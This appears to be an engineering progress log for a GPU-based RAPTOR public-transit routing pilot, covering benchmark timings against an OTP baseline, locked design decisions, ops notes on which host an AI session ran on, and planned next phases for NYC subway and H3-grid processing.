- 0.8 ms for a full 5-round departure sample at 1,000 origins (GPU, includes all kernel launches + copy-forwards). OTP polar baseline was ~302 s per origin. Honest comparison (in-process CPU RAPTOR, full 535K origins, end-to-end with export) is phase B per REVIEW §4.10–4.11.
Decisions locked
- Service date 20260415 until feed refresh (phase D).
- Platform-level stops (992) in-kernel; parent collapse downstream.
- u16 seconds output stays for the pilot (clamp verified); width revisit before tri-state.
- Boarding slack default 30 s.
- Best-hopping stays OFF (unproven; same-round chained-boarding hazard).
Ops notes
- Discovered mid-session: this Claude session runs on geocoder (not geo as the global doc assumes). All "remote" geocoder commands were harmless self-ssh; geocoder copy is canonical and correct. The real geo copy of gpu-pilot was stale until re-synced geocoder→geo at session end.
- Second Brain Parser (port 8030, 2 GB VRAM) untouched throughout ✓.
- This report regenerated + republished via
raptor-design/publish_report.py(renders repo docs with the original videolens theme, scp's to geo:~/videolens/data/reports/).
Next
- Phase B: full res-9 (535K origins) run, cudaEvent + Nsight instrumentation, tiled Parquet export (cp.nonzero OOM fix), departure-window loop, honest CPU baseline.
- Phase C (parallel):
cugraph-cu12==25.04install, OSM walk network clip, SSSP walk matrix → replace crow-fly fallback. - Housekeeping:
git init+ tlcengine remote (proposed, pending Krish).
2026-06-10 · Session 1 (day) — design, skeleton, data phases shipped
Host: geo. Produced by the prior chat (Fable 5 design session):
- Phase 1: H3 grids (res-9 535,471 cells / res-10 3,748,291) generated on GPU, GeoParquet outputs.
- Phase 2: MTA Subway feed 511 → flat int32 Arrow/Parquet (2.22 M stop_times, 76 K trips, dictionary-encoded ids + encoding_dict).
DESIGN.md(multi-source RAPTOR architecture: warp-per-(origin-batch, pattern), stop-major/origin-minor layout, dual schedule slabs, INF=0x7F7F7F7F),raptor_kernel.h/.cuskeleton + smoke test,raptor_pipeline.pyorchestration skeleton,TODO.mdsprint plan.- External PhD-grade design review commissioned; transcript landed in Session 2 (above).
- This report first published (v1: the five design files, rendered 12:03).